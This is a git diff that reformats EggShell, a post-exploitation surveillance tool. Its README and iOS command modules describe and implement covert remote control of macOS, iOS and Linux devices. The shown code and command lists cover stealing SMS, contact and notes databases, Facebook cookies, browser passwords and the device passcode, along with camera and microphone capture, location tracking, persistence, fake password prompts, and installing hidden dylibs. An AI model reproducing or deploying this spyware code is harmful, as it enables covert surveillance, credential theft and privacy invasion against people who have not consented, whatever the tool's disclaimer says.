diff --git a/README.md b/README.md
index eab1c2a..7d39c4b 100644
--- a/README.md
+++ b/README.md
@@ -1,34 +1,33 @@
# [EggShell](http://lucasjackson.io/eggshell)
-
-
## About
EggShell is a post exploitation surveillance tool written in Python. It gives you a command line session with extra functionality between you and a target machine. EggShell gives you the power and convenience of uploading/downloading files, tab completion, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. This is project is a proof of concept, intended for use on machines you own.
-For detailed information and how-to visit http://lucasjackson.io/eggshell
+For detailed information and how-to visit
Follow me on twitter: @neoneggplant
-
## New In Version 3.0.0
- - More secure socket connection using SSL
- - Linux support
- - Tab completion
- - Improved over all structure and efficiency of session handling
- - Native iOS python support for 64 bit devices
-
+- More secure socket connection using SSL
+- Linux support
+- Tab completion
+- Improved over all structure and efficiency of session handling
+- Native iOS python support for 64 bit devices
+
## Getting Started
-- Requires python 2.7
+
+- Requires python 2.7
### macOS/Linux Installation
+
```sh
git clone https://github.com/neoneggplant/eggshell
cd eggshell
@@ -36,7 +35,8 @@ python eggshell.py
```
### iOS (Jailbroken)
-Add Cydia source: http://lucasjackson.io/repo
+
+Add Cydia source:
Install EggShell 3
Use any mobile terminal application and run the command eggshell
@@ -44,17 +44,18 @@ Use any mobile terminal application and run the command eggshell
-
-
## Creating Payloads
+
Eggshell payloads are executed on the target machine. The payload first sends over instructions for getting and sending back device details to our server and then chooses the appropriate executable to establish a secure remote control session.
### bash
+
Selecting bash from the payload menu will give us a 1 liner that establishes an eggshell session upon execution on the target machine
### teensy macOS (USB injection)
+
Teensy is a USB development board that can be programmed with the Arduino ide. It emulates usb keyboard strokes extremely fast and can inject the EggShell payload just in a few seconds.
@@ -69,9 +70,8 @@ After uploading to the teensy, we can use the device to plug into a macOS usb po
-
-
## Interacting with a session
+
After a session is established, we can execute commands on that device through the EggShell command line interface.
@@ -79,24 +79,22 @@ We can show all the available commands by typing "help"
-
## Taking Pictures
+
Both iOS and macOS payloads have picture taking capability. The picture command lets you take a picture from the iSight on macOS as well as the front or back camera on iOS.
-
-
### Tab Completion
+
Similar to most command line interfaces, EggShell supports tab completion. When you start typing the path to a directory or filename, we can complete the rest of the path using the tab key.
-
-
## Multihandler
+
The Multihandler option lets us handle multiple sessions. We can choose to interact with different devices while listening for new connections in the background.
@@ -107,99 +105,96 @@ Similar to the session interface, we can type "help" to show Multihandler comman
-
-
## Featured
+
Featured in EverythingApplePro's video demonstrating an iOS 9.3.3 Webkit vulnerability used to run EggShell
[](https://www.youtube.com/embed/iko0bCVW-zk?start=209)
-
## Special Thanks
-- Linus Yang / Ryley Angus for the iOS Python package
-- AlessandroZ for LaZagne
+- Linus Yang / Ryley Angus for the iOS Python package
+- AlessandroZ for LaZagne
## DISCLAMER
-By using EggShell, you agree to the GNU General Public License v2.0 included in the repository. For more details at http://www.gnu.org/licenses/gpl-2.0.html. Using EggShell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
-
-
+By using EggShell, you agree to the GNU General Public License v2.0 included in the repository. For more details at . Using EggShell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
+
## Commands
#### macOS
-* **brightness** : adjust screen brightness
-* **cd** : change directory
-* **download** : download file
-* **getfacebook** : retrieve facebook session cookies
-* **getpaste** : get pasteboard contents
-* **getvol** : get speaker output volume
-* **idletime** : get the amount of time since the keyboard/cursor were touched
-* **imessage** : send message through the messages app
-* **itunes** : iTunes Controller
-* **keyboard** : your keyboard -> is target's keyboard
-* **lazagne** : firefox password retrieval | (https://github.com/AlessandroZ/LaZagne/wiki)
-* **ls** : list contents of a directory
-* **mic** : record mic
-* **persistence** : attempts to re establish connection after close
-* **picture** : take picture through iSight
-* **pid** : get process id
-* **prompt** : prompt user to type password
-* **screenshot** : take screenshot
-* **setvol** : set output volume
-* **sleep** : put device into sleep mode
-* **su** : su login
-* **suspend** : suspend current session (goes back to login screen)
-* **upload** : upload file
+- **brightness** : adjust screen brightness
+- **cd** : change directory
+- **download** : download file
+- **getfacebook** : retrieve facebook session cookies
+- **getpaste** : get pasteboard contents
+- **getvol** : get speaker output volume
+- **idletime** : get the amount of time since the keyboard/cursor were touched
+- **imessage** : send message through the messages app
+- **itunes** : iTunes Controller
+- **keyboard** : your keyboard -> is target's keyboard
+- **lazagne** : firefox password retrieval | ()
+- **ls** : list contents of a directory
+- **mic** : record mic
+- **persistence** : attempts to re establish connection after close
+- **picture** : take picture through iSight
+- **pid** : get process id
+- **prompt** : prompt user to type password
+- **screenshot** : take screenshot
+- **setvol** : set output volume
+- **sleep** : put device into sleep mode
+- **su** : su login
+- **suspend** : suspend current session (goes back to login screen)
+- **upload** : upload file
#### iOS
-* **alert** : make alert show up on device
-* **battery** : get battery level
-* **bundleids** : list bundle identifiers
-* **cd** : change directory
-* **dhome** : simulate a double home button press
-* **dial** : dial a phone number
-* **download** : download file
-* **getcontacts** : download addressbook
-* **getnotes** : download notes
-* **getpasscode** : retreive the device passcode
-* **getsms** : download SMS
-* **getvol** : get volume level
-* **home** : simulate a home button press
-* **installpro** : install substrate commands
-* **ipod** : control music player
-* **islocked** : check if the device is locked
-* **lastapp** : get last opened application
-* **locate** : get device location coordinates
-* **locationservice**: toggle location services
-* **lock** : simulate a lock button press
-* **ls** : list contents of a directory
-* **mic** : record mic
-* **mute** : update and view mute status
-* **open** : open apps
-* **openurl** : open url on device
-* **persistence** : attempts to re establish connection after close
-* **picture** : take picture through the front or back camera
-* **pid** : get process id
-* **respring** : restart springboard
-* **safemode** : put device into safe mode
-* **say** : text to speach
-* **setvol** : set device volume
-* **sysinfo** : view system information
-* **upload** : upload file
-* **vibrate** : vibrate device
+- **alert** : make alert show up on device
+- **battery** : get battery level
+- **bundleids** : list bundle identifiers
+- **cd** : change directory
+- **dhome** : simulate a double home button press
+- **dial** : dial a phone number
+- **download** : download file
+- **getcontacts** : download addressbook
+- **getnotes** : download notes
+- **getpasscode** : retreive the device passcode
+- **getsms** : download SMS
+- **getvol** : get volume level
+- **home** : simulate a home button press
+- **installpro** : install substrate commands
+- **ipod** : control music player
+- **islocked** : check if the device is locked
+- **lastapp** : get last opened application
+- **locate** : get device location coordinates
+- **locationservice**: toggle location services
+- **lock** : simulate a lock button press
+- **ls** : list contents of a directory
+- **mic** : record mic
+- **mute** : update and view mute status
+- **open** : open apps
+- **openurl** : open url on device
+- **persistence** : attempts to re establish connection after close
+- **picture** : take picture through the front or back camera
+- **pid** : get process id
+- **respring** : restart springboard
+- **safemode** : put device into safe mode
+- **say** : text to speach
+- **setvol** : set device volume
+- **sysinfo** : view system information
+- **upload** : upload file
+- **vibrate** : vibrate device
#### Linux
-* **cd** : change directory
-* **download** : download file
-* **ls** : list contents of a directory
-* **pid** : get process id
-* **pwd** : show current directory
-* **upload** : upload file
+- **cd** : change directory
+- **download** : download file
+- **ls** : list contents of a directory
+- **pid** : get process id
+- **pwd** : show current directory
+- **upload** : upload file
diff --git a/eggshell.py b/eggshell.py
index d263d93..45b7827 100755
--- a/eggshell.py
+++ b/eggshell.py
@@ -1,10 +1,12 @@
#!/usr/bin/python
-from modules import server
+import os
+import sys
+
from modules import helper as h
-import sys, os
+from modules import server
-#banner
+# banner
class EggShell:
def __init__(self):
h.generate_keys()
@@ -13,68 +15,63 @@ def __init__(self):
self.server.debug = True
else:
self.server.debug = False
- self.payloads = self.import_payloads()
- self.banner_text = h.GREEN+"""
+ self.payloads = self.import_payloads()
+ self.banner_text = h.GREEN + """
.---. .-. . . . \\ `.
| ( )| | | o \\ `.
|--- .-.. .-.. `-. |--. .-. | | \\ `.
| ( |( |( )| |(.-' | | o \\ .`
'---'`-`| `-`| `-' ' `-`--'`-`- \\ .`
- ._.' ._.' `"""+h.COLOR_INFO+"""
+ ._.' ._.' `""" + h.COLOR_INFO + """
.".
/ |
/ /
/ ,"
.-------.--- /
- "._ __.-/ o. o\
+ "._ __.-/ o. o\
" ( Y )
) /
/ (
/ I
.-" |
- / _ \ \
+ / _ \ \
/ `. ". ) /' )
Y )( / /(,/
,| / )
( | / /
- " \_ (__ (__
+ " \_ (__ (__
"-._,)--._,)
-"""+h.WHITE+"\nVersion: 3.1.1\nCreated By Lucas Jackson (@neoneggplant)\n"+h.ENDC
- self.main_menu_text = h.WHITE+"-"*40+"\n"+"""Menu:\n
+""" + h.WHITE + "\nVersion: 3.1.1\nCreated By Lucas Jackson (@neoneggplant)\n" + h.ENDC
+ self.main_menu_text = h.WHITE + "-" * 40 + "\n" + """Menu:\n
1): Start Server
2): Start MultiHandler
3): Create Payload
4): Exit
-""" + "\n"+h.NES
-
+""" + "\n" + h.NES
# Actions
- def print_payload(self,payload,number_option):
+ def print_payload(self, payload, number_option):
print " " * 4 + str(number_option) + "): " + payload.name
-
def start_single_server(self):
if not self.server.set_host_port():
return
self.server.start_single_handler()
-
def start_multi_handler(self):
if not self.server.set_host_port():
return
self.server.start_multi_handler()
-
def prompt_run_server(self):
- if raw_input(h.NES+"Start Server? (Y/n): ") == "n":
+ if raw_input(h.NES + "Start Server? (Y/n): ") == "n":
return
else:
- if raw_input(h.NES+"MultiHandler? (y/N): ") == "y":
+ if raw_input(h.NES + "MultiHandler? (y/N): ") == "y":
self.server.start_multi_handler()
else:
self.server.start_single_handler()
-
def import_payloads(self):
path = "modules/payloads"
sys.path.append(path)
@@ -87,18 +84,16 @@ def import_payloads(self):
modules[m.name] = m
return modules
-
def exit_menu(self):
exit()
-
def choose_payload(self):
- print h.WHITE+"-"*40+h.ENDC
+ print h.WHITE + "-" * 40 + h.ENDC
print "Payloads:\n"
number_option = 1
for key in self.payloads:
payload = self.payloads[key]
- self.print_payload(payload,number_option)
+ self.print_payload(payload, number_option)
number_option += 1
print ""
while 1:
@@ -106,13 +101,14 @@ def choose_payload(self):
# choose payload
option = raw_input(h.info_general_raw("Choose an payload> "))
if not option:
- continue
- selected_payload = self.payloads[self.payloads.keys()[int(option) - 1]]
+ continue
+ selected_payload = self.payloads[self.payloads.keys()[
+ int(option) - 1]]
# set host and port
self.server.set_host_port()
# generate payload
selected_payload.run(self.server)
- #run
+ # run
self.prompt_run_server()
break
except KeyboardInterrupt:
@@ -121,8 +117,7 @@ def choose_payload(self):
print e
break
-
- def menu(self,err=""):
+ def menu(self, err=""):
while 1:
try:
h.clear()
@@ -133,10 +128,10 @@ def menu(self,err=""):
sys.stdout.write(self.banner_text)
option = raw_input(self.main_menu_text)
choose = {
- "1" : self.start_single_server,
- "2" : self.start_multi_handler,
- "3" : self.choose_payload,
- "4" : self.exit_menu
+ "1": self.start_single_server,
+ "2": self.start_multi_handler,
+ "3": self.choose_payload,
+ "4": self.exit_menu
}
try:
choose[option]()
diff --git a/modules/commands/iOS/alert_ios.py b/modules/commands/iOS/alert_ios.py
index 5297257..172bcb3 100644
--- a/modules/commands/iOS/alert_ios.py
+++ b/modules/commands/iOS/alert_ios.py
@@ -1,14 +1,16 @@
import base64
import json
+
class command:
def __init__(self):
self.name = "alert"
self.description = "make alert show up on device"
self.type = "native"
- def run(self,session,cmd_data):
+ def run(self, session, cmd_data):
title = raw_input("title: ")
message = raw_input("message: ")
- session.send_command({"cmd":"alert","args":json.dumps({"title":title,"message":message})})
+ session.send_command({"cmd": "alert", "args": json.dumps(
+ {"title": title, "message": message})})
return ""
diff --git a/modules/commands/iOS/battery_ios.py b/modules/commands/iOS/battery_ios.py
index 04a4b05..75d89be 100644
--- a/modules/commands/iOS/battery_ios.py
+++ b/modules/commands/iOS/battery_ios.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "battery"
self.description = "get battery level"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/iOS/bundleids_ios.py b/modules/commands/iOS/bundleids_ios.py
index 8fd92e0..de111d0 100644
--- a/modules/commands/iOS/bundleids_ios.py
+++ b/modules/commands/iOS/bundleids_ios.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "bundleids"
self.description = "list bundle identifiers"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data).rstrip()
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data).rstrip())
diff --git a/modules/commands/iOS/dhome_ios.py b/modules/commands/iOS/dhome_ios.py
index 1191c2a..e3f9cc6 100644
--- a/modules/commands/iOS/dhome_ios.py
+++ b/modules/commands/iOS/dhome_ios.py
@@ -2,9 +2,9 @@ class command:
def __init__(self):
self.name = "dhome"
self.description = "simulate a double home button press"
-
- def run(self,session,cmd_data):
- cmd_data["cmd"] = "doublehome"
+
+ def run(self, session, cmd_data):
+ cmd_data["cmd"] = "doublehome"
error = session.send_command(cmd_data)
if error:
- print error
\ No newline at end of file
+ print(error)
diff --git a/modules/commands/iOS/dial_ios.py b/modules/commands/iOS/dial_ios.py
index 6b5701f..5dac611 100644
--- a/modules/commands/iOS/dial_ios.py
+++ b/modules/commands/iOS/dial_ios.py
@@ -3,10 +3,11 @@ def __init__(self):
self.name = "dial"
self.description = "dial a phone number"
self.usage = "Usage: dial 1234567890"
-
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
- return
- cmd_data.update({"cmd":"openurl","args":"tel://"+cmd_data['args']})
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
+ return
+ cmd_data.update(
+ {"cmd": "openurl", "args": "tel://" + cmd_data['args']})
session.send_command(cmd_data)
diff --git a/modules/commands/iOS/getcontacts_ios.py b/modules/commands/iOS/getcontacts_ios.py
index 7f655a0..9e31f24 100644
--- a/modules/commands/iOS/getcontacts_ios.py
+++ b/modules/commands/iOS/getcontacts_ios.py
@@ -1,20 +1,23 @@
import json
import os
+
import modules.helper as h
+
class command:
- def __init__(self):
- self.name = "getcontacts"
- self.description = "download addressbook"
+ def __init__(self):
+ self.name = "getcontacts"
+ self.description = "download addressbook"
- def run(self,session,cmd_data):
- file_name = "AddressBook.sqlitedb"
- h.info_general("Downloading {0}".format(file_name))
- data = session.download_file('/var/mobile/Library/AddressBook/'+file_name)
- if data:
- # save to downloads
- h.info_general("Saving {0}".format(file_name))
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
+ def run(self, session, cmd_data):
+ file_name = "AddressBook.sqlitedb"
+ h.info_general("Downloading {0}".format(file_name))
+ data = session.download_file(
+ '/var/mobile/Library/AddressBook/' + file_name)
+ if data:
+ # save to downloads
+ h.info_general("Saving {0}".format(file_name))
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
diff --git a/modules/commands/iOS/getnotes_ios.py b/modules/commands/iOS/getnotes_ios.py
index 7ddab44..fd9f851 100644
--- a/modules/commands/iOS/getnotes_ios.py
+++ b/modules/commands/iOS/getnotes_ios.py
@@ -1,20 +1,22 @@
import json
import os
+
import modules.helper as h
+
class command:
- def __init__(self):
- self.name = "getnotes"
- self.description = "download notes"
+ def __init__(self):
+ self.name = "getnotes"
+ self.description = "download notes"
- def run(self,session,cmd_data):
- file_name = "notes.sqlite"
- h.info_general("Downloading {0}".format(file_name))
- data = session.download_file('/var/mobile/Library/Notes/'+file_name)
- if data:
- # save to downloads
- h.info_general("Saving {0}".format(file_name))
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
+ def run(self, session, cmd_data):
+ file_name = "notes.sqlite"
+ h.info_general("Downloading {0}".format(file_name))
+ data = session.download_file('/var/mobile/Library/Notes/' + file_name)
+ if data:
+ # save to downloads
+ h.info_general("Saving {0}".format(file_name))
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
diff --git a/modules/commands/iOS/getpasscode_ios.py b/modules/commands/iOS/getpasscode_ios.py
index cc19d5c..7ee9c1a 100644
--- a/modules/commands/iOS/getpasscode_ios.py
+++ b/modules/commands/iOS/getpasscode_ios.py
@@ -2,8 +2,8 @@ class command:
def __init__(self):
self.name = "getpasscode"
self.description = "retreive the device passcode"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
error = session.send_command(cmd_data)
if error:
- print error
\ No newline at end of file
+ print(error)
diff --git a/modules/commands/iOS/getsms_ios.py b/modules/commands/iOS/getsms_ios.py
index 1762f32..cf65cf0 100644
--- a/modules/commands/iOS/getsms_ios.py
+++ b/modules/commands/iOS/getsms_ios.py
@@ -1,20 +1,22 @@
import json
import os
+
import modules.helper as h
+
class command:
- def __init__(self):
- self.name = "getsms"
- self.description = "download SMS"
+ def __init__(self):
+ self.name = "getsms"
+ self.description = "download SMS"
- def run(self,session,cmd_data):
- file_name = "sms.db"
- h.info_general("Downloading {0}".format(file_name))
- data = session.download_file('/var/mobile/Library/SMS/'+file_name)
- if data:
- # save to downloads
- h.info_general("Saving {0}".format(file_name))
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
+ def run(self, session, cmd_data):
+ file_name = "sms.db"
+ h.info_general("Downloading {0}".format(file_name))
+ data = session.download_file('/var/mobile/Library/SMS/' + file_name)
+ if data:
+ # save to downloads
+ h.info_general("Saving {0}".format(file_name))
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
diff --git a/modules/commands/iOS/getvol_ios.py b/modules/commands/iOS/getvol_ios.py
index ce2a270..4bcde3f 100644
--- a/modules/commands/iOS/getvol_ios.py
+++ b/modules/commands/iOS/getvol_ios.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "getvol"
self.description = "get volume level"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/iOS/home_ios.py b/modules/commands/iOS/home_ios.py
index 7ec9ebd..f31a4a8 100644
--- a/modules/commands/iOS/home_ios.py
+++ b/modules/commands/iOS/home_ios.py
@@ -2,8 +2,8 @@ class command:
def __init__(self):
self.name = "home"
self.description = "simulate a home button press"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
error = session.send_command(cmd_data)
if error:
- print error
\ No newline at end of file
+ print(error)
diff --git a/modules/commands/iOS/installpro_ios.py b/modules/commands/iOS/installpro_ios.py
index 8fae313..1af79b4 100644
--- a/modules/commands/iOS/installpro_ios.py
+++ b/modules/commands/iOS/installpro_ios.py
@@ -1,16 +1,22 @@
+import os
+import re
+import time
+
import modules.helper as h
-import re, os, time
+
class command:
def __init__(self):
self.name = "installpro"
self.description = "install substrate commands"
-
- def run(self,session,cmd_data):
- h.info_general("Uploading dylib 1/2...")
- session.upload_file("resources/espro.dylib","/Library/MobileSubstrate/DynamicLibraries",".espl.dylib")
- h.info_general("Uploading plist 2/2...")
- session.upload_file("resources/espro.plist","/Library/MobileSubstrate/DynamicLibraries",".espl.plist")
+
+ def run(self, session, cmd_data):
+ h.info_general("Uploading dylib 1/2...")
+ session.upload_file("resources/espro.dylib",
+ "/Library/MobileSubstrate/DynamicLibraries", ".espl.dylib")
+ h.info_general("Uploading plist 2/2...")
+ session.upload_file("resources/espro.plist",
+ "/Library/MobileSubstrate/DynamicLibraries", ".espl.plist")
h.info_general("Respring...")
time.sleep(1)
- session.send_command({"cmd":"killall","args":"SpringBoard"})
+ session.send_command({"cmd": "killall", "args": "SpringBoard"})
diff --git a/modules/commands/iOS/ipod_ios.py b/modules/commands/iOS/ipod_ios.py
index 5e30562..666d597 100644
--- a/modules/commands/iOS/ipod_ios.py
+++ b/modules/commands/iOS/ipod_ios.py
@@ -3,10 +3,10 @@ def __init__(self):
self.name = "ipod"
self.description = "control music player"
self.usage = "Usage: ipod play|pause|next|prev|info"
-
- def run(self,session,cmd_data):
- if not cmd_data['args'] or not cmd_data['args'] in ['play','pause','next','prev','info']:
- print self.usage
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args'] or not cmd_data['args'] in ['play', 'pause', 'next', 'prev', 'info']:
+ print(self.usage)
result = session.send_command(cmd_data)
if result:
- print result.rstrip()
\ No newline at end of file
+ print(result.rstrip())
diff --git a/modules/commands/iOS/islocked_ios.py b/modules/commands/iOS/islocked_ios.py
index 756dba4..fa6006a 100644
--- a/modules/commands/iOS/islocked_ios.py
+++ b/modules/commands/iOS/islocked_ios.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "islocked"
self.description = "check if the device is locked"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/iOS/lastapp_ios.py b/modules/commands/iOS/lastapp_ios.py
index 09dd322..48cf245 100644
--- a/modules/commands/iOS/lastapp_ios.py
+++ b/modules/commands/iOS/lastapp_ios.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "lastapp"
self.description = "get last opened application"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/iOS/locate_ios.py b/modules/commands/iOS/locate_ios.py
index b23a7ec..6130eee 100644
--- a/modules/commands/iOS/locate_ios.py
+++ b/modules/commands/iOS/locate_ios.py
@@ -2,6 +2,6 @@ class command:
def __init__(self):
self.name = "locate"
self.description = "get device location coordinates"
-
- def run(self,session,cmd_data):
- print session.send_command(cmd_data)
+
+ def run(self, session, cmd_data):
+ print(session.send_command(cmd_data))
diff --git a/modules/commands/iOS/locationservice_ios.py b/modules/commands/iOS/locationservice_ios.py
index 659e9cb..3116867 100644
--- a/modules/commands/iOS/locationservice_ios.py
+++ b/modules/commands/iOS/locationservice_ios.py
@@ -3,15 +3,15 @@ def __init__(self):
self.name = "locationservice"
self.description = "toggle location services"
self.usage = "Usage: locationservice on|off"
-
- def run(self,session,cmd_data):
- if not cmd_data['args'] or not cmd_data['args'] in ['on','off']:
- print self.usage
- return
- if cmd_data['args'] == "on":
- cmd_data = {'cmd':'locationon','args':''}
- elif cmd_data['args'] == "off":
- cmd_data = {'cmd':'locationoff','args':''}
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args'] or not cmd_data['args'] in ['on', 'off']:
+ print(self.usage)
+ return
+ if cmd_data['args'] == "on":
+ cmd_data = {'cmd': 'locationon', 'args': ''}
+ elif cmd_data['args'] == "off":
+ cmd_data = {'cmd': 'locationoff', 'args': ''}
error = session.send_command(cmd_data)
if error:
- print error
\ No newline at end of file
+ print(error)
diff --git a/modules/commands/iOS/lock_ios.py b/modules/commands/iOS/lock_ios.py
index 2caa21c..93ba921 100644
--- a/modules/commands/iOS/lock_ios.py
+++ b/modules/commands/iOS/lock_ios.py
@@ -2,8 +2,8 @@ class command:
def __init__(self):
self.name = "lock"
self.description = "simulate a lock button press"
-
- def run(self,session,cmd_data):
+
+ def run(self, session, cmd_data):
error = session.send_command(cmd_data)
if error:
- print error
\ No newline at end of file
+ print(error)
diff --git a/modules/commands/iOS/mic_ios.py b/modules/commands/iOS/mic_ios.py
index 9d4f2f0..0e90fad 100644
--- a/modules/commands/iOS/mic_ios.py
+++ b/modules/commands/iOS/mic_ios.py
@@ -1,15 +1,17 @@
-import modules.helper as h
import json
-import time
import os
+import time
+
+import modules.helper as h
+
class command:
def __init__(self):
self.name = "mic"
self.description = "record mic"
-
- def run(self,session,cmd_data):
- # #print output
+
+ def run(self, session, cmd_data):
+ # #print output
if cmd_data["args"] == "stop":
# expect json
result = json.loads(session.send_command(cmd_data))
@@ -21,12 +23,12 @@ def run(self,session,cmd_data):
# save to file
file_name = "mic{0}.caf".format(str(int(time.time())))
h.info_general("Saving {0}".format(file_name))
- f = open(os.path.join('downloads',file_name),'w')
+ f = open(os.path.join('downloads', file_name), 'w')
f.write(data)
f.close()
h.info_general("Saved to ./downloads/{0}".format(file_name))
-
+
elif cmd_data["args"] == "record":
h.info_general(session.send_command(cmd_data))
else:
- print "Usage: mic record/stop"
+ print("Usage: mic record/stop")
diff --git a/modules/commands/iOS/mute_ios.py b/modules/commands/iOS/mute_ios.py
index 0ad6e0f..d44d265 100644
--- a/modules/commands/iOS/mute_ios.py
+++ b/modules/commands/iOS/mute_ios.py
@@ -3,17 +3,17 @@ def __init__(self):
self.name = "mute"
self.description = "update and view mute status"
self.usage = "Usage: mute status|on|off"
-
- def run(self,session,cmd_data):
- if not cmd_data['args'] or not cmd_data['args'] in ['status','on','off']:
- print self.usage
- return
- if cmd_data['args'] == "status":
- cmd_data = {'cmd':'ismuted','args':''}
- elif cmd_data['args'] == "off":
- cmd_data = {'cmd':'unmute','args':''}
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args'] or not cmd_data['args'] in ['status', 'on', 'off']:
+ print(self.usage)
+ return
+ if cmd_data['args'] == "status":
+ cmd_data = {'cmd': 'ismuted', 'args': ''}
+ elif cmd_data['args'] == "off":
+ cmd_data = {'cmd': 'unmute', 'args': ''}
elif cmd_data['args'] == "on":
- cmd_data = {'cmd':'mute','args':''}
+ cmd_data = {'cmd': 'mute', 'args': ''}
error = session.send_command(cmd_data)
if error:
- print error
\ No newline at end of file
+ print(error)
diff --git a/modules/commands/iOS/open_ios.py b/modules/commands/iOS/open_ios.py
index 8083f97..9df4694 100644
--- a/modules/commands/iOS/open_ios.py
+++ b/modules/commands/iOS/open_ios.py
@@ -3,10 +3,10 @@ def __init__(self):
self.name = "open"
self.description = "open apps"
self.usage = "Usage: open bundleid"
-
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
+
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
result = session.send_command(cmd_data)
if result:
- print result
\ No newline at end of file
+ print(result)
diff --git a/modules/commands/iOS/openurl_ios.py b/modules/commands/iOS/openurl_ios.py
index 2ac9216..8fc781a 100644
--- a/modules/commands/iOS/openurl_ios.py
+++ b/modules/commands/iOS/openurl_ios.py
@@ -4,11 +4,11 @@ def __init__(self):
self.description = "open url on device"
self.usage = "Usage: openurl http://example.com"
- def run(self,session,cmd_data):
- if not cmd_data['args']:
- print self.usage
- return
- if not cmd_data['args']:
- print usage
- return
- session.send_command(cmd_data)
+ def run(self, session, cmd_data):
+ if not cmd_data['args']:
+ print(self.usage)
+ return
+ if not cmd_data['args']:
+ print(usage)
+ return
+ session.send_command(cmd_data)
diff --git a/modules/commands/iOS/picture_ios.py b/modules/commands/iOS/picture_ios.py
index fee774b..f310bce 100644
--- a/modules/commands/iOS/picture_ios.py
+++ b/modules/commands/iOS/picture_ios.py
@@ -1,6 +1,11 @@
-import json, time, binascii, os
+import binascii
+import json
+import os
+import time
+
import modules.helper as h
+
class command:
def __init__(self):
self.name = "picture"
@@ -8,35 +13,34 @@ def __init__(self):
self.type = "native"
self.usage = "Usage: picture front|back"
- def run(self,session,cmd_data):
- if not cmd_data['args'] or (cmd_data['args'] != "front" and cmd_data['args'] != "back"):
- print self.usage
- return
- if cmd_data['args'] == "back":
- cmd_data['args'] = False
- else:
- cmd_data['args'] = True
- h.info_general("Taking picture...")
- try:
- response = json.loads(session.send_command(cmd_data))
- if 'success' in response:
- size = int(response["size"])
- if cmd_data['args'] == False:
- file_name = "back_{0}.jpg".format(int(time.time()))
- else:
- file_name = "front_{0}.jpg".format(int(time.time()))
- data = session.sock_receive_data(size)
- h.info_general("Saving {0}".format(file_name))
- # save to file
- f = open(os.path.join('downloads',file_name),'w')
- f.write(data)
- f.close()
- h.info_general("Saved to ./downloads/{0}".format(file_name))
- else:
- if 'error' in response:
- h.info_error(response['error'])
- else:
- h.info_error("Unexpected error")
- except Exception as e:
- print e
-
+ def run(self, session, cmd_data):
+ if not cmd_data['args'] or (cmd_data['args'] != "front" and cmd_data['args'] != "back"):
+ print(self.usage)
+ return
+ if cmd_data['args'] == "back":
+ cmd_data['args'] = False
+ else:
+ cmd_data['args'] = True
+ h.info_general("Taking picture...")
+ try:
+ response = json.loads(session.send_command(cmd_data))
+ if 'success' in response:
+ size = int(response["size"])
+ if cmd_data['args'] == False:
+ file_name = "back_{0}.jpg".format(int(time.time()))
+ else:
+ file_name = "front_{0}.jpg".format(int(time.time()))
+ data = session.sock_receive_data(size)
+ h.info_general("Saving {0}".format(file_name))
+ # save to file
+ f = open(os.path.join('downloads', file_name), 'w')
+ f.write(data)
+ f.close()
+ h.info_general("Saved to ./downloads/{0}".format(file_name))
+ else:
+ if 'error' in response:
+ h.info_error(response['error'])
+ else:
+ h.info_error("Unexpected error")
+ except Exception as e:
+ print(str(e))
diff --git a/modules/commands/iOS/respring_ios.py b/modules/commands/iOS/respring_ios.py
index 158b216..0889db9 100644
--- a/modules/commands/iOS/respring_ios.py
+++ b/modules/commands/iOS/respring_ios.py
@@ -1,7 +1,7 @@
class command:
- def __init__(self):
- self.name = "respring"
- self.description = "restart springboard"
+ def __init__(self):
+ self.name = "respring"
+ self.description = "restart springboard"
- def run(self,session,cmd_data):
- session.send_command({"cmd":"killall","args":"SpringBoard"})
\ No newline at end of file
+ def run(self, session, cmd_data):
+ session.send_command({"cmd": "killall", "args": "SpringBoard"})
diff --git a/modules/commands/iOS/safemode_ios.py b/modules/commands/iOS/safemode_ios.py
index 97e98c4..a5fbd22 100644
--- a/modules/commands/iOS/safemode_ios.py
+++ b/modules/commands/iOS/safemode_ios.py
@@ -3,9 +3,9 @@ def __init__(self):
self.name = "safemode"
self.description = "put device into safe mode"
